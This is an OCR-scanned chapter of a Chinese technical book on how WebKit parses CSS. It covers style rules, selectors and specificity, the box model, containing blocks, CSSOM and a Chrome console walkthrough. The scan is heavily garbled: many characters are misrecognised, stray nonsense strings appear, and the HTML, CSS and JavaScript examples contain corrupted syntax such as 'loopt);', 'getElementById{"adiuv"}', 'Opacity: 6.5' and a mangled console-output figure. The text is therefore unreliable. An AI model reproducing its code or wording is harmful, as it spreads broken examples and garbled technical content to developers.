ister FY AFT HF Chromed bias Tt A LA, AIARA, Æ 
其 中 输 
入 “document.firstChild.firstChild.nextElementSibling.firstElementChild.first] 
会 发 现 结果 是 空 的 。 根 据 对 应 关系 “#document->html->head->body->div- 
>null”， 虽 然 网 页 中 没有 “head” 元 素 ， 但 是 DOM 树 仍然 会 创建 该 节点 。 
同时 读者 会 发 现 “div? 元 系 没 有 子女 ， 影 子 DOM 了 于 树 真 的 被 隐藏 起 来 
了 ， 成 为 真正 的 影子 。 





(1) 这 里 以 Chromium 浏 览 器 为 例 ， 读 者 可 以 暂且 忽略 WebFrameImpl， 之 后 会 介绍 。 





第 6 划 CSS 解 释 器 和 样式 布局 


从 整个 网 页 的 加 载 和 泻 染 过 程 来 看 ，CSS 解 释 嚣 和 规则 匹配 处 于 
DOM 树 建立 之 后 ，RenderObject 树 (将 在 第 7 间 介 绍 ) 建立 之 前 ，CSS 解 
释 器 解释 后 的 结果 会 保存 起 来 ， 然 后 RenderObject 树 基于 该 结果 来 进行 
规范 匹配 和 布局 计算 。 当 网 页 有 用 户 交 互 或 者 动画 等 动作 的 时 候 ， 通 过 
CSSOM 等 技术 ，JavaScript 代 码 同样 可 以 非常 方便 地 修改 CSS 代 码 ， 
WebKit 此 时 需要 重新 解释 样式 并 重复 以 上 这 一 过 程 。 








先 谈 一 谈 HTML 网 页 的 开发 者 们 所 遭遇 的 痛 苗 和 悲惨 的 经 历 。 在 
CSS 出 现 之 前 或 者 更 早 ，HTML 网 页 设计 者 们 因为 要 设计 不 同 风格 和 样 
式 的 元 素 ， 所 以 规范 不 停 地 加 入 很 多 新 的 元 素来 表示 网 页 布局 ， 例 如 
p、span 等 元 素 。 然 而 ， 问 题 依然 存在 ， 例 如 ， 使 用 表格 (Table) 元素 
来 排列 网 页 中 的 元 素 ， 这 可 能 存在 一 些 问题 ， 其 一 ， 表 格 经 常 内 髓 表 
格 ， 导 致 网 页 内 容 较 大 ， 占 用 带宽 ， 其 二 ， 被 搜索 引擎 解析 后 ， 网 页 内 
容 将 会 变 得 杂乱 无 章 。 所 以 这 时 候 急 需 一 种 技术 来 解决 这 些 问 题 。 庆 入 
的 是 ， 此 时 CSS 出 现 了 。 








CSS 的 全 称 是 Cascading Style Sheet， 中 文 名 是 级 联 样式 表 ， 主 要 是 
用 来 控制 网 页 的 显示 风格 。 它 被 广泛 地 使 用 在 网 页 中 ， 绝 大 多 数 的 现代 
浏览 器 都 文 持 它 。CSS 的 一 个 比较 重要 的 特征 惑 是 将 网 页 的 内 容 和 内 容 
的 展示 方式 分 离 ， 这 对 开发 者 提高 开发 效率 非常 有 用 。 另 一 个 重要 的 特 
征 是 它 很 强大 ， 而 且 不 是 一 般 的 强大 ， 特 别 是 新 的 CSS3 标 准 ， 不 仅 能 
提供 对 页 面 任意 元 素 的 精准 控制 ， 同 时 还 能 提供 丰富 多 彩 的 样式 。 简 而 
言 之 ，CSS 是 一 种 非常 出 色 的 文本 展示 语言 。 














Web 开 发 者 有 两 种 方法 可 以 使 用 CSS， 第 一 种 就 是 示例 代码 6-1 中 将 
CSS 的 代码 放 入 元 素 “style" 中 ， 这 称 为 内 部 样式 表 ;， 第 二 种 就 是 形 如 代 
人 码 <link rel="stylesheet"type="text/css"href="css-url.css"> 这 样 的 用 法 ， 引 
用 了 一 个 外 部 的 CSS 文 档 ， 这 称 为 外 部 样式 表 。 


示例 代码 6-1 使 用 CSS 的 HTML 网 页 


1 <html> 
2 <head> 
3 <style type="text/css"> 
4 div /x 选择 器 */ 
5 t 
6 position: absolute; /* 位 置 *f 
7 top: 280px; /x 坐标 */ 
8 left: 200px; yx AAR */ 
9 width: 200px; /* Hi =/ 
16 height: 20px; /x B/E */ 
11 background-color: #efefef; /x Fa, */ 
12 color: green; /x 颜色 */ 
13 border:2px solid black; /* 边框 */ 
14 padding: 28px 20px 46px 46px; /* AAA */ 
15 Opacity: 6.5; 
16 -webkit-transform:rotate2(1Gdeg); /* WebKit 办 校 支持 的 变换 属性 x*/ 
17 > 
18 </style> 
19 </head> 
290 <body> 
21 <p> This is a css test? </p> 
22 <div id="adiv" class="aclass">CSS Style and Transform</div> 
23 <script> 
24 var rotate = 16; 
25 function loop() 
26 4 
27 var elem = document.getElementById{"adiuv"}; 
28 var value = “rotate2(" + rotate + "“deg)"; 
29 elem.style.webkitTransform = value; 
30 window. vebkitRequestânimationFrame{(loop)}; 
31 rotate += 10; 
32 rotate = rotate % 360; 
33 > 
34 loopt); 
35 
36 </script> 
37 </body> 
38 </html> 


为 了 便于 读者 对 CSS 有 个 直观 的 印象 ， 示 例 代 码 6-1 展 示 了 一 个 使 用 
CSS 的 简单 例子 ， 后 面 很 多 描述 都 是 基于 它 来 展开 的 。 不 过 ， 该 例子 虽 
然 简 单 ， 但 却 是 一 个 展示 了 CSS 众 多 特征 的 例子 ，CSS 的 主要 部 分 包含 
在 元 素 “Style" 中 ， 也 就 是 例子 中 的 第 3 行 到 第 16 行 。 同 时 ，JavaScript 代 
码 部 分 也 有 对 样式 的 操作 ， 如 第 29 行 ， 后 面 的 部 分 会 对 它们 逐一 加 以 解 


释 。 








样式 的 来 源 有 三 种 类 型 ， 其 一 是 网 页 开发 者 编写 的 样式 信息 ， 它 被 
包含 在 网 页 或 者 外 部 样式 文件 中 ， 这 也 是 最 常见 的 方式 ， 其 二 是 网 页 的 
读者 设置 的 样式 信息 ， 读 者 可 以 设置 一 个 样式 ， 这 个 样式 可 以 应 用 到 其 
浏览 的 网 页 ， 其 三 是 浏览 器 的 内 在 默认 样式 。 以 上 三 种 类 型 的 优先 级 目 








然 是 递减 的 。 


CSS 语 言 主要 定义 了 一 系列 作用 在 各 个 元 素 上 的 样式 规则 ， 如 示例 
代码 6-1 中 的 第 4 到 17 行 就 是 一 个 规则 ， 访 规则 表示 div 所 应 用 的 部 分 样式 
设置 。CSS3 标 准 中 还 有 很 多 新 的 功能 ， 示 例 代 码 6-1 中 也 描述 了 其 中 的 
一 些 功能 ， 那 就 是 3D 变 形 (Transform) 。 这 些 样 式 给 网 页 设计 带 来 了 
非常 震撼 的 视觉 效果 ， 读 者 可 以 决 试 在 浏览 器 中 运行 上 面 的 网 页 。 这 些 
新 功能 笔者 将 在 高 级 篇 中 的 第 8 章 来 介绍 。 





。 选择 器 : 上面 介绍 的 属性 选择 器 就 是 CSS3 新 加 入 的 ， 除 此 之 外 ， 
还 加 入 了 控制 精确 的 选择 器 用 来 选择 特定 位 置 的 子女 、 特 定 元 又 标 
签 的 子女 等 。 

样式 : CSS3 增 加 了 一 些 比较 实用 的 功能 ， 例 如 自 定 义 字 体 、 圆 朋 
属性 、 边 框 颜色 等 。 

变形 、 变 换 和 动画 (transform、transition 和 animation) : CSS3 
提供 了 令 人 惊奇 的 变形 、 变 换 和 动画 功能 ， 令 其 更 加 赏心悦目 。 规 
范 的 草案 中 仅 定 义 了 2D 的 变换 ， 而 WebKit 却 可 以 提供 3D 的 变形 。 
变形 有 四 种 类 型 ， 包 括 和 平移、 旋转 、 缩 放 和 扭曲 。 同 2D 变 形 不 同 
的 是 ，3D 变 形 增加 了 绕 Z 轴 的 和 平移、 旋转 和 缩放 。 有 一 点 鼎 令 人 遗 
憾 ， 那 就 是 各 个 不 同 的 浏览 器 对 这 些 属性 的 名 字 定 义 不 一 致 ， 例 如 
标准 的 变换 的 定义 属性 名 是 “transform”， 而 Webkit 的 则 是 “-webkit- 
transform”， 如 例子 中 第 15 行 所 示 。 正 支持 的 是 “ms-transformy”， 
Firefox 支 持 的 是 “-moz-transform”，Opera 支 持 的 是 “-o-transformy”， 

这 些 不 免 令 人 心烦 意 乱 。 变 换 描述 了 属性 从 一 个 值 过 渡 到 另 一 个 值 
的 过 程 ， 定 义 了 过 程 的 时 间 、 局 动 过 程 的 延迟 时 间 等 。 但 是 ， 这 些 
规范 草案 中 的 定义 还 不 足以 描述 更 精确 的 变化 过 程 ， 所 以 规范 引入 
了 更 为 灵活 的 方式 ， 这 就 是 CSS 动 画 。Web 开 发 者 使 用 CSS 动 画 能 











够 定义 不 同 的 “keyframes” 来 控制 动画 中 间 的 变化 过 程 而 不 仅仅 是 动 
画 的 开始 和 结束 。 读 者 可 以 这 么 理解 一 一 变换 是 一 种 较为 简单 和 常 
见 的 动画 


CSS2 引 入 了 一 个 概念 ， 可 以 设置 跟 “media” 相 关 的 样式 信息 ， 例 如 
用 于 屏幕 显示 、 打 印 等 。 这 样 ， 网 页 可 以 为 了 达到 不 同 的 目的 来 设置 
CSS 样 式 信 息 ， 其 格式 形 如 “@media screen{div{color:read}}”， 它 表明 该 
CSS 设 置 的 属性 仅仅 作用 于 屏幕 的 显示 。 


6.1.2 ”样式 规则 


样式 规则 是 CSS 规 范 中 最 基本 的 组 成 ， 通 常 ，CSS 文 档 包 含 一 系列 
的 样式 规则 ， 如 上 所 述 ， 示 例 代码 6-1 中 的 第 4 行 到 第 17 行 就 是 一 个 完整 
的 样式 规则 。 





图 6-1 描 述 了 一 个 典型 的 CSS 规 则 结构 。 一 个 规则 包括 两 个 部 分 一 一 
规则 头 和 规则 体 。 规 则 头 由 一 个 或 者 多 个 选择 器 组 成 ， 选 择 器 随后 会 被 
介绍 ; 规则 体 则 由 一 个 或 者 多 个 样式 声明 组 成 ， 每 个 样式 声明 由 样式 名 
和 样式 值 构成 ， 表 示 这 个 规则 对 哪些 样式 进行 了 规定 和 设置 。 








div ... | | { position: absolute; top: 200px; ... } 
选择 器 样式 名 样式 值 样式 名 样式 值 
样式 声明 (Declaration) 


图 6-1 CSS 的 样式 规则 表示 





当 HTML 中 的 茶 个 元 系 经 过 后 面 的 匹配 算法 使 用 了 这 条 规划， 那么 


就 将 这 些 样式 设置 成 该 元 素 的 样式 ， 除 非 有 更 高 优先 级 的 规则 匹配 上 该 
元 素 。 


6.1.3 JEA 





CSS 的 选择 器 是 一 组 模式 ， 用 来 四 配 相 应 的 HITML 元 素 。 当 选择 器 
罗 配 相应 元 素 的 时 候 ， 该 选择 器 包含 的 各 种 样式 值 就 会 作用 于 匹配 的 元 
素 上 。 通 过 选择 器 ，CSS 能 够 精准 地 控制 HTML 页 面 中 的 任意 一 个 或 者 
多 个 元 素 的 样式 属性 。 查 看 示例 代码 6-1 中 的 第 4 行 ， 该 行 中 的 “div” 就 是 
一 个 选择 器 ， 这 是 元 素 选 择 器 类 型 ， 其 含义 是 选择 该 页 面 中 的 所 
有 “div” 元 素 。 因 为 仅 有 第 20 行 包含 一 个 “div” 元 素 ， 所 以 ， 该 元 素 会 使 
用 该 选择 器 的 属性 设置 。 那 么 , “div” 元 素 下 面 所 设置 的 样式 等 属性 〈 花 
括号 内 ) 都 会 作用 于 该 元 素 ， 从 第 6 行 到 第 16 行 。 











示例 代码 6-1 中 的 选择 器 仅 是 众多 选择 器 类 型 中 的 一 种 ， 从 CSS1 到 
CSS3， 规 范 陆续 地 加 入 了 多 达 42 种 选择 器 ， 极 大 地 增强 了 选择 的 能 
力 ， 下 面 介 绍 其 中 一 些 主 要 的 选择 器 。 





标签 选择 器 : “根据 标签 元 素 的 名 称 来 匹配 ， 例 如 示例 代码 6-1 中 的 
选择 器 。 它 可 以 选择 一 个 或 者 多 个 元 素 。 

类 型 选择 器 : 根据 类 型 信息 来 选择 目标 元 素 ， 类 型 选择 器 可 以 选 
择 一 个 或 者 多 个 元 素 ， 示 例 代 码 6-1 中 选择 div 元 素 也 可 以 使 用 类 型 
选择 器 ， 方 法 是 “.aclass”。 

ID 选择 器 : ”根据 元 素 的 ID 来 选择 目标 元 素 ， 一 个 选择 器 仅 能 选择 
一 个 元 素 ， 这 是 因为 ID 的 唯一 性 。 示 例 代 码 6-1 中 选择 div 元 素 也 可 
以 使 用 ID 选择 器 ， 方 法 是 “#adiv”。 

属性 选择 器 : 根据 属性 来 选择 目标 元 素 ， 可 以 选择 一 个 或 者 多 




















个 ， 示 例 代 码 6-1 中 选择 div 元 素 也 可 以 使 用 属性 选择 器 ， 方 法 

是 “div[idj”“div[id='adiv]” “div[id~=’di’]’. “div[id|=’ad’]”. 

后 代 选 择 器 : 选择 某 元 素 包 含 的 后 代 元 素 ， 可 以 选择 一 个 或 者 多 
个 ， 示 例 代 码 6-1 中 选择 div 元 素 也 可 以 使 用 后 代 选 择 器 ， 方 法 

是 “body div”。 

子女 选择 器 : 选择 某 元 素 包 含 的 子女 元 素 ， 可 以 选择 一 个 或 者 多 
个 ， 示 例 代 码 6-1 中 选择 div 元 素 也 可 以 使 用 子女 选择 器 ， 方 法 

是 “body>div”。 

相 邻 同胞 选择 器 : 根据 相 邻 同胞 信息 来 确定 选择 的 元 素 ， 可 以 选 
择 一 个 或 者 多 个 ， 示 例 代码 6-1 中 选择 div 元 素 也 可 以 使 用 相 邻 同胞 
选择 器 ， 方 法 是 “p+div”。 

















还 有 很 多 其 他 类型 的 选择 器 ， 例 如 伪 类 选择 器 、 通 用 选择 器 、 群 组 
选择 器 、 根 选择 器 等 ， 这 里 不 再 一 一 介绍 ， 请 查 疯 CSS 规范。 


介绍 完 选 择 右 之 后 ， 还 有 个 非常 重要 的 问题 ， 那 就 是 优先 级 。 对 于 
茶 个 元 素 的 一 个 属性 ， 因 为 多 个 选择 器 可 能 都 作用 于 该 元 素 ， 并 且 它 们 
可 能 对 该 属性 设置 了 不 同 的 属性 值 ， 这 种 情况 下 ， 应 该 上 怎么 确定 使 用 哪 
种 选择 器 呢 ? 





一 般 而 言 ， 选 择 需 描述 得 越 具 体 ， 它 的 优先 级 越 高 ， 也 就 是 说 选择 
需 指 回 的 越 准确 ， 它 的 优先 级 束 越 高 。 例 如 ， 如 果 用 1 表示 标签 选择 需 
的 优先 级 ， 那 么 类 选择 器 优先 级 是 10，ID 选 择 器 就 是 100， 数 值 越 大 表 
示 优 先 级 越 高 。 所 以 ， 尽 量 使 用 控制 精确 的 选择 器 ， 使 用 优先 级 合理 的 
选择 器 。 假 如 对 于 元 系 的 菏 一 样式 属性 ， 两 个 匹配 上 的 选择 器 都 设置 了 
该 属性 值 ， 那 么 在 此 情况 下 ， 优 移 级 高 的 选择 器 所 设置 的 属性 值 将 会 应 
用 到 该 元 素 上 。 


标准 中 还 引入 了 两 个 新 的 JavaScript 接 口 : QuerySelector#ll 
QuerySelectorAll。 这 两 个 接口 让 CSS 定 义 的 所 有 选择 器 都 可 以 作为 参数 
传 给 这 两 个 接口 ， 从 而 获取 到 相应 的 HTML 页 面 中 的 DOM 市 把 。 
Chrome, Safari 和 Firefox 等 浏览 器 都 支持 该 接口 。 


6.1.4 JERA 


框 模型 (Box model， 或 称 箱子 模型 ) 是 CSS 标 准 中 引入 来 表示 
HTML 标签 元 系 的 布局 结构 。 一 个 框 模型 大 致 包括 了 四 个 部 分 ， 它 们 从 
外 到 内 分 别 是 外 边 距 〈Margin) ~ WHE (Border) 、 内 边 距 (Padding) 
和 内 容 〈Content) 。 图 6-2 摘 述 的 耽 是 一 个 标准 的 框 模型 结构 。 在 
HTML 网 页 中 ， 每 个 可 视 元 素 (之 所 以 强调 可 视 是 因为 很 多 HTML 元 素 
其 实 不 是 用 来 显示 的 ， 例 如 用 来 表示 语义 的 元 素 ) 的 布局 都 是 按照 框 模 
型 来 设计 的 。 网 页 通过 对 元 素 设 置 这 些 样式 属性 ， 就 可 以 达到 特定 的 布 
局 效果 。 














框 模型 中 的 最 边缘 部 分 分 别 是 四 个 方向 上 的 外 边 距 〈TM、RM、 
BM, LM) ， 可 以 为 这 四 个 外 边 距 设置 不 同 的 大 小 ， 图 中 特意 将 这 些 方 
同上 的 外 边 距 绘制 得 不 一 样 ， 也 是 表明 了 这 个 含义 。 图 中 外 边 距 往 内 是 
四 个 方向 上 的 边框 《〈 左 边框 、 右 边框 、 上 边框 、 下 边框 ) ， 再 次 是 四 个 
方向 上 的 内 边 距 ( 同 边框 类 似 )， 最 后 是 该 元 素 显 示 自 己 的 内 容 所 使 用 的 
区 域 。 














边框 (Border) 


内 容 (Content ) 


内 边 距 (Padding) 


外 边 距 (Margin) 





图 6-2 ”CSS 标准 的 框 模型 结构 


示例 代码 6-1 也 包含 了 框 模型 的 使 用 方法 ， 但 是 不 足以 完全 展示 这 
一 模型 。 所 以 笔者 将 它 略 作 修 改 ， 变 成 示例 代码 6-2 所 示 的 代码 。 笔 者 
希望 通过 专门 的 框 模型 示例 和 显示 结果 来 帮助 读者 更 直观 清晰 地 理解 该 
模型 。 





示例 代码 6-2 框 模型 的 HTML 网 页 代码 片段 
CSS 代 码 : 


#adiv/*ID 选 择 器 */ 

{ 
width:300px;/* $i HE */ 
background-color :#efefef ;/* sf */ 
border:2px solid black; /*id#£*/ 

} 

.aCclass/* 类 选择 器 */ 


{ 


border:5px solid red;/* 边 框 */ 
margin:150px 100px 10px 40px;/* 外 边 距 */ 
padding:15px 20px 25px 30px;/* 内 边 距 */ 





color :green;/* 颜 色 */ 


} 
HTML 代 码 : 


<p> This is a test to demonstrate the mechanism of layout!< 
<div id="adiv"> 
<div class="aclass">A BC DEFGHIJKLMNOP QRS T< 


</div> 


16-3 7N MARI 6-2ÆChromeð] w as PAE NAR IDA “Hadiv” Hy 
div 元 素 被 设置 了 边框 是 为 了 让 读者 了 解 它 的 内 容 区 域 。 图 中 最 大 的 区 
域 就 是 该 div 元 素 的 内 容 区 域 ， 最 外 边 的 黑色 边框 就 是 它 的 边框 。 该 元 
素 的 内 部 就 是 “aclass” 的 类 选择 器 所 选择 的 div 元 素 的 包含 块 ， 笔 者 后 面 
会 介绍 包含 块 的 概念 。 包 括 块 内 部 就 是 类 型 为 “.aclass” 的 div 元 素 的 框 模 
型 显示 结果 ， 这 也 是 笔者 希望 描述 的 框 模型 结构 。 为 了 便于 读者 对 框 模 
型 的 理解 ， 在 显示 区 域 劳 边 的 标注 表明 了 框 模型 的 各 个 属性 值 ， 读 者 可 
以 同 图 6-2 的 框 模型 进行 对 照 ， 看 看 实际 的 效果 是 怎么 样 的 。 





上 外 + 


边 距 + 
150px+ 
EA- 
h35. 
AB CD EIE 边 距 
i ke oy a 15pxe 
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| Stade eo PENEN 
! ! 下 内 边 距 25pxe 
下 外 边 距 10px+ 





eb EAD 右 内 边 ANAE 100px 
FB 40pxe E 30pxe EB 20px* 


图 6-3 示例 代码 6-2 的 框 模 型 显示 结果 








框 模型 是 布局 计算 的 基础 ， 泻 染 引 擎 可 以 根据 模型 来 理解 该 如 何 排 
版 元 素 以 及 元 系 之 间 的 位 置 关 系 。 





6.1.5 EEk (Containing Block) $ 
型 


当 WebKit 计 算 元 素 的 箱子 的 位 置 和 大 小 时 ，WebKit 需 要 计算 该 元 
素 和 另外 一 个 矩形 区 域 的 相对 位 置 ， 这 个 矩形 区 域 称 为 该 元 素 的 包含 
块 。 上 面 介绍 的 框 模型 就 是 在 包含 块 内 计算 和 确定 各 个 元 素 的， 包含 块 


的 具体 定义 如 下 。 


© 根 元 素 的 包含 块 称 为 初始 包含 块 ， 通 常 它 的 大 小 就 是 可 视 区 域 
(Viewport) 的 大 小 。 

。 对 于 其 他 位 置 属性 设置 为 “static” 或 者 “relative” 的 元 素 ， 它 的 包含 块 

就 是 最 近 祖 先 的 箱子 模型 中 的 内 容 区 域 (Content) 。 

如 果 元 素 的 位 置 属性 为 “fixed”， 那 么 该 元 素 的 包含 块 脱离 HTML 文 

档 ， 固 定 在 可 视 区 域 的 某 个 特定 位 置 。 

如 果 元 素 的 位 置 属 性 为 absolute”， 那 么 该 元 素 的 包含 块 由 最 近 的 

含有 属性 “absolute”、 “relative” 或 者 “fixed” 的 祖先 决定 ， 有 具体 规则 如 

下 : 如 果 一 个 元 素 具 有 “inline” 属 性 ， 那 么 元 素 的 包含 块 是 包含 该 祖 

先 的 第 一 个 和 最 后 一 个 inline 框 的 内 边 距 的 区 域 ， 否 则 ， 包 含 块 则 

是 该 祖先 的 内 边 距 所 包围 的 区 域 。 





结合 实例 来 讲 ， 类 型 为 "aclass” 的 div 元 际 的 包含 块 就 是 其 父 杀 的 内 
容 区域 ， 其 框 模型 就 是 在 该 内 容 区 域 上 进行 计算 生成 得 来 的 。 


6.1.6 CSS 样式 属性 


CSS 标 准 中 定义 了 各 式 各 样 的 样式 属性 ， 用 来 描述 元 素 的 显示 效 
果 。 示 例 代 码 6-1 的 第 6 行 到 第 16 行 设置 了 选择 的 元 系 的 样式 属性 值 ， 笔 
者 大 致 把 这 些 属性 分 成 以 下 类 别 。 

















eH: “” 通 铝 有 两 种 方式 来 设置 元 素 的 背景 ， 一 种 是 设置 背景 颜色 
《例子 中 的 background-color) ， 男 外 一 种 是 设置 背景 图 片 。 

。 文 本 : ”设置 文本 缩 进 、 对 齐 、 单 词 间 隔 、 字 母 间 隔 、 字 符 转 换 、 
装饰 和 空白 字符 等 。 











字体 : REATI, ATID AKA, HAVE Be PRN 
式 ， 男 外 还 可 以 设置 加 粗 、 变 形 等 属性 。 

列表 : 设置 列表 类 型 ， 可 以 以 字母 、 和 希腊 了 字母 、 数 字 等 方式 编写 
列表 。 

表格 : “通过 设置 边框 来 达到 显示 表格 的 视 沉 效果 的 目的 。 设 置 是 
售 把 表格 边框 合并 为 单一 的 边框 ， 设 置 分 隔 单元 格 边框 的 距离 ， 设 
置 表格 标题 的 位 置 ， 设 置 是 否 显示 表格 中 的 空 单元 格 ， 设 置 显示 单 
元 、 行 和 列 的 算法 等 。 

定位 : CSS 提供 元 素 的 相对 、 绝 对 定位 和 浮动 定位 。 示 例 使 用 了 绝 
对 定位 ， 参 见 示例 代码 6-1 中 的 第 6 到 第 8 行 。 














6.1.7 CSSOM (CSS Object Model) 


想象 一 下 上 面 示例 代码 6-1 和 6-2 中 关于 CSS 部 分 的 代码 ， 读 者 会 发 
现 它 们 都 是 静态 的 ， 那 么 CSS 有 没有 提供 一 些 方法 可 以 让 开发 者 自 定义 
一 些 脚 本 去 操作 它们 的 状态 呢 ? 这 就 是 CSSOM， 称 为 CSS 对 象 模型 。 它 
的 思想 是 在 DOM 中 的 一 些 节点 接口 中 ， 加 入 获取 和 操作 CSS 属 性 或 者 接 
口 的 JavaScript 接 口 ， 因 而 JavaScript 可 以 动态 操作 CSS 样 式 。DOM 提 供 
了 接口 让 JavaScript 修 改 HIML 文 要 ， 同 理 ，CSSOM 提 供 了 接口 让 
JavaScript 获 得 和 修改 CSS 代 码 设置 的 样式 信息 ， 这 上 听 起 来 非常 酷 吧 ， 确 
实 是 这 样 的 。 





对 于 内 部 和 外 部 样式 表 ，CSSOM 定 义 了 样式 表 的 接口 ， 称 
为 “CSSStyleSheet”， 这 是 一 个 可 以 在 JavaScript 代 码 中 访问 的 接口 。 借 助 
于 该 接口 ， 开 发 者 可 以 在 JavaScript 中 获取 样式 表 的 各 种 信息 ， 例 如 CSS 
的 “href?、 样 式 表 类 型 "type”、 规 则 信息 "cssRules” 等 ， 甚 至 可 以 获取 样 





式 表 中 的 CSS 规 则 列表 。 这 个 接口 同 DOM 中 的 “Script* 节 点 或 者 “Link” 节 
点 不 一 样 ， 它 是 CSSOM 定 义 的 新 接口 。 开 发 者 可 以 通过 
document.stylesheets 碍 看 当前 网 页 中 包含 的 所 有 CSS 样 式 表 ， 这 是 因为 
CSSOM 对 DOM 中 的 Document 接 口 进行 了 扩展 ， 下 面 是 新 加 入 的 属性 。 





partial interface Document{ 
readonly attribute StyleSheetList styleSheets; 
attribute DOMString? selectedStyleSheetSet; 
readonly attribute DOMString? lastStyleSheetSet; 
readonly attribute DOMString? preferredStyleSheetSet; 
readonly attribute DOMString[] styleSheetSets; 


void enableStyleSheetsForSet(DOMString? name); 
}; 





通过 上 面 这 些 属性 ， 开 发 者 甚至 可 以 动态 选择 使 用 哪些 CSS 样 式 
表 。 获 取 的 样式 表 就 是 前 面 定 义 的 CSSStyleSheet 对 象 ，JavaScript 代 码 
可 以 修改 这 些 对 象 的 属性 ， 非 常 便于 使 用 。 





W3C 还 定义 了 另外 一 个 规范 ， 那 就 是 CSSOM View， 它 的 基本 含义 
是 增加 一 些 新 的 属性 到 Window、Document、Element、HTMLElement 和 | 
MouseEvent 等 接口 ， 这 些 CSS 的 属性 能 够 让 JavaScript 获 取 视 图 信息 ， 用 
于 表示 跟 视 图 相关 的 特征 ， 例 如 窗口 大 小 、 网 页 滚动 位 移 、 元 素 的 框 位 
置 、 鼠 标 事件 的 坐标 等 信息 。 这 些 特征 在 很 多 浏览 器 中 获得 了 文 持 ， 它 
们 非常 有 有 用， 下面 以 CSSOM ”View 对 Window 的 扩展 为 例 ， 笔 者 省 略 了 
一 些 属 性; 





partial interface Window{ 


MediaQueryList matchMedia(DOMString media_query_list) 


readonly attribute Screen screen; 
//viewport 

readonly attribute long innerWidth; 
readonly attribute long innerHeight; 
//viewport scrolling 

readonly attribute long scrollx; 
readonly attribute long pagexOffset; 
readonly attribute long scrollyY; 


readonly attribute long pageYOffset; 


}; 


6.1.8 ”实践 : 理解 CSSOM 和 选择 器 
本 节 中 ， 笔 者 希望 通过 例子 来 理解 CSSOM 标 准 定义 的 内 容 ， 结 合 
选择 器 的 匹配 方法 来 加 深 对 CSS 技 术 的 认识 。 


图 6-4 是 一 个 代码 示例 图 和 在 Chrome 浏 览 器 的 控制 台中 的 信息 。 下 
面 按照 步骤 逐步 分 析 这 一 例子 。 





示例 代码 


控制 台 的 语句 和 显示 结果 








<html> 
<head> 
<style type="text/css" > 
-aclass { color: red; } 
</style> 
<style type="text/css"> 


div { colors green; } 


> document.styleSheets 
wStyleSheetList {@: CS5SStyLleSheet, 

ve: CSSStyleSheet 

wessRules: CSSRuleList 
¥@: CSSStyleRule 
cssText; “.aclass { color: red; }* 
parentRule: null 
> oo a oi he Rs cose baie 


cto 
b ane ae ae ation 
ty ype: 


1: CSSStyleSheet, Le 


ngth: 


2, 


1. 同样 是 在 Chrome 浏 览 器 中 运 














</style> o__: CSSStyleRule 
_ length: a 
piece: : Caa ist 
<body> T abled: fals 
í ` href: null 
<div>Test CCSOM1</div> 
a : (div. b media: MediaList 
<div class="aclass"> = ownerNode: style 
ownerRule: null 
Test CSSOM2 
> parentStyleSheet: null 
</div> * rules: ies ist 
title: null 
</body> 
/ Y type: sree ty 
</tml> >_ proto: CSSStyleSheet 
1: Cssstylesheet 
le neth: 2 
> _ proto: ee ist 
> document .styleSheets[@].disable 
true 
> document.styleSheets[1].cssRules[@].style.color = “gray 





理解 CSSOM 和 选择 器 的 示例 代码 和 控制 台 语 句 


左边 的 网 页 ， 同 时 打开 Chrome 的 开 
发 者 工具 ， 切 换 到 控制 台 这 一 bee 

. 读者 会 看 到 “Test CCSOM1” 字 符 串 的 颜色 是 绿色 的 ， 而 “Test 
CCSOM2” 字 符 串 的 颜色 是 红色 的 。 这 是 因为 例子 中 第 一 个 “div” 元 
素 只 匹配 到 第 二 个 样式 表 中 的 规则 。 而 第 二 个 “div?" 元 素 ， 虽 然 两 个 
规则 对 它 而 言 都 可 以 匹配 ， 但 是 类 规则 的 优先 级 更 高 ， 因 而 它 的 结 
果 是 红色 。 

. 在 控制 台中 输入 JavaScript 语 名 “document.styleSheets”， 读 者 可 以 看 
到 当前 有 两 个 CSSStyleSheet 对 象 ， 单 击 查 看 它们 的 属性 和 属性 值 ， 
跟前 面 的 标准 对 比 一 下 。 

. 在 控制 台中 输入 JavaScript 语 

名 “document.styleSheets[0].disabled=true”， 读 者 在 浏览 器 中 会 发 
现 “Test ”CCSOM2” 变 成 绿色 的 了 ， 这 是 因为 将 第 一 个 样式 表 关 闭 
了 ， 所 以 它 不 再 起 作用 了 。 








5. 尝试 在 开发 者 工具 的 控制 台中 输入 如 下 JavaScript 代 码 “document. 
styleSheets[1].cssRules[0].style.color='gray””， 读 者 会 看 到 所 有 字符 
都 变 成 灰色 的 了 ， 这 是 因为 这 条 语句 将 第 二 个 样式 表 中 的 第 一 个 规 


则 中 的 字体 颜色 设置 成 了 灰色 ， 浏 览 器 即刻 生效 。 








读者 还 可 以 在 控制 台中 尝试 一 下 其 他 的 JavaScript 语 句 ， 或 者 在 更 复 
杂 一 些 的 网 页 里 面 理解 规则 ， 这 里 只 是 描述 基本 原理 。 


6.2 CSS as AU AU DU VE fg 


在 了 解 了 CSS 的 基本 概念 之 后 ， 下 面 来 理解 WebKit 如 何 来 解释 CSS 
代码 并 选择 相应 的 规则 。 通 过 介绍 WebKit 的 主要 设施 帮助 理解 WebKit 
的 内 部 工作 原理 和 机 制 。 


6.2.1 样式 的 WebKit 表 示 类 


在 DOM 树 中 ，CSS 样 式 可 以 包含 在 “style” 元 素 中 或 者 使 用 “Link” 来 
引用 一 个 CSS 文 档 。 对 于 CSS 样 式 表 ， 不 管 是 内 和 藤 还 是 外 部 文档 ， 
WebKit 都 使 用 CSSStyleSheet 类 来 表示 。 图 6-5 描 述 了 WebKit 内 部 是 如 何 
表示 CSS 文 档 的 。 
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图 6-5 ”CSS 的 内 部 结构 主要 类 和 关系 
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DocumentRuleSets 











-m_authorStyle 
-m_userStyle 








一 切 的 起 源 都 是 从 DOM 中 的 Document 类 开始 。 先 看 Document 类 之 
外 的 左上 部 分 : 包括 一 个 DocumentStyleSheetCollection 类 ， 该 类 包含 了 





所 有 CSS 样 式 表 ， 还 包括 WebKit 的 内 部 表示 类 CSSStyleSheet， 它 包含 
CSS 的 href、 类 型 、 内 容 等 信息 。CSS 的 内 容 就 是 样式 信息 
StyleSheetContents， 包 含 了 一 个 样式 规则 〈StyleRuleBase) 列表 。 样 式 
规则 被 用 在 CSS 的 解释 器 的 工作 过 程 中 。 





下 面 的 部 分 WebKit 主 要 是 将 解释 之 后 的 规则 组 织 起 来 ， 用 于 为 
DOM 中 的 元 素 匹 配 相 应 的 规则 ， 从 而 应 用 规则 中 的 属性 值 序 列 。 这 一 
